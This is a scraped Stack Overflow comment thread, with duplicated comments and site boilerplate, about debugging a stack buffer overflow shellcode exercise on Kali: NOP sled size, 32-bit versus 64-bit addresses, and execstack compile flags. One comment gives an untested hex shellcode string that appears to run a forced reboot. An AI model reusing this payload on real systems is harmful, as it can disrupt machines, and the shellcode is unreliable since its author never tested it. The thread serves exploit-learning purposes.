have 32 bytes? It seems to have only 20.– Havenard
Nov 12 at 13:27
Well, on your original screenshot, I can tell you wrote 116 bytes to the buffer, just by looking at what's in the stack (counting bytes from
0x90909090
to 0xbffff170
), in this one I'm looking at 104. Clearly something is wrong with your payload. Also the address of buffer
changed which is weird, but it should still work. Shouldn't nopsled
have 32 bytes? It seems to have only 20.– Havenard
Nov 12 at 13:27
@Havenard I am so confused now. I also discovered that there is a difference when I'm working on 32bit or 64bit virtual machine. When I follow the tutorial on YT and disassemble function main on 32bit system, mine result is different than from the tutorial. When I use 64bit system it looks the same but esp is changed for rsp, so my return address is 6bytes, so how can I put it to my code then? I found only 1 tutorial which worked for me so far, but when I tried to edit it... it doesn't work
– Shirakumo
Nov 12 at 13:52
@Havenard I am so confused now. I also discovered that there is a difference when I'm working on 32bit or 64bit virtual machine. When I follow the tutorial on YT and disassemble function main on 32bit system, mine result is different than from the tutorial. When I use 64bit system it looks the same but esp is changed for rsp, so my return address is 6bytes, so how can I put it to my code then? I found only 1 tutorial which worked for me so far, but when I tried to edit it... it doesn't work
– Shirakumo
Nov 12 at 13:52
1
1
In 64-bit architecture, memory addresses are 64-bits (8 bytes). This entire shellcode would have to change. It is only compatible with 32-bit systems.
– Havenard
Nov 12 at 13:54
In 64-bit architecture, memory addresses are 64-bits (8 bytes). This entire shellcode would have to change. It is only compatible with 32-bit systems.
– Havenard
Nov 12 at 13:54
1
1
Well, 32-bit is a dying platform, nowadays almost everything uses 64-bits even when it doesn't have more than 4GB of memory to address, but you might have a hard time finding learning material for this kind of hack for 64-bit. 32-bit was around for a very long time and particularly during the period when hacking was a hot topic, almost every literature out there refers to 32-bit systems.
– Havenard
Nov 12 at 14:11
Well, 32-bit is a dying platform, nowadays almost everything uses 64-bits even when it doesn't have more than 4GB of memory to address, but you might have a hard time finding learning material for this kind of hack for 64-bit. 32-bit was around for a very long time and particularly during the period when hacking was a hot topic, almost every literature out there refers to 32-bit systems.
– Havenard
Nov 12 at 14:11
1
1
Anyway, if you want to try it in 64-bit, I believe this version of the shellcode should work:
"x48x31xC0x50x68x62x6Fx6Fx74x68x6Ex2Fx72x65x68x2Fx73x62x69x48x89xE3x50x66x68x2Dx66x48x89xE6x50x56x53x48x89xE1xB0x0Bx0Fx05"
, I haven't tested it but it's now compatible with 64-bits. This shellcode now is 40 bytes and needs 54 bytes of free stack space to work.– Havenard
Nov 12 at 14:17
Anyway, if you want to try it in 64-bit, I believe this version of the shellcode should work:
"x48x31xC0x50x68x62x6Fx6Fx74x68x6Ex2Fx72x65x68x2Fx73x62x69x48x89xE3x50x66x68x2Dx66x48x89xE6x50x56x53x48x89xE1xB0x0Bx0Fx05"
, I haven't tested it but it's now compatible with 64-bits. This shellcode now is 40 bytes and needs 54 bytes of free stack space to work.– Havenard
Nov 12 at 14:17
|
show 4 more comments
Thanks for contributing an answer to Stack Overflow!
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
Some of your past answers have not been well-received, and you're in danger of being blocked from answering.
Please pay close attention to the following guidance:
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f53251869%2fsegmentation-fault-shell-code-testing-kali-2018%23new-answer', 'question_page');
);
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
how do the python and C scripts pass values?
– Shlomi Agiv
Nov 11 at 19:34
How did you compile the C code? You might want to try disassembling the executable to ensure that it actually is vulnerable.
– Daniel Pryden
Nov 11 at 20:46
@Shlomi Agiv I don't know, I was just following the tutorial
– Shirakumo
Nov 11 at 22:26
@Daniel Pryden I compiled it with -g -z execstack -no-pie flags
– Shirakumo
Nov 11 at 22:27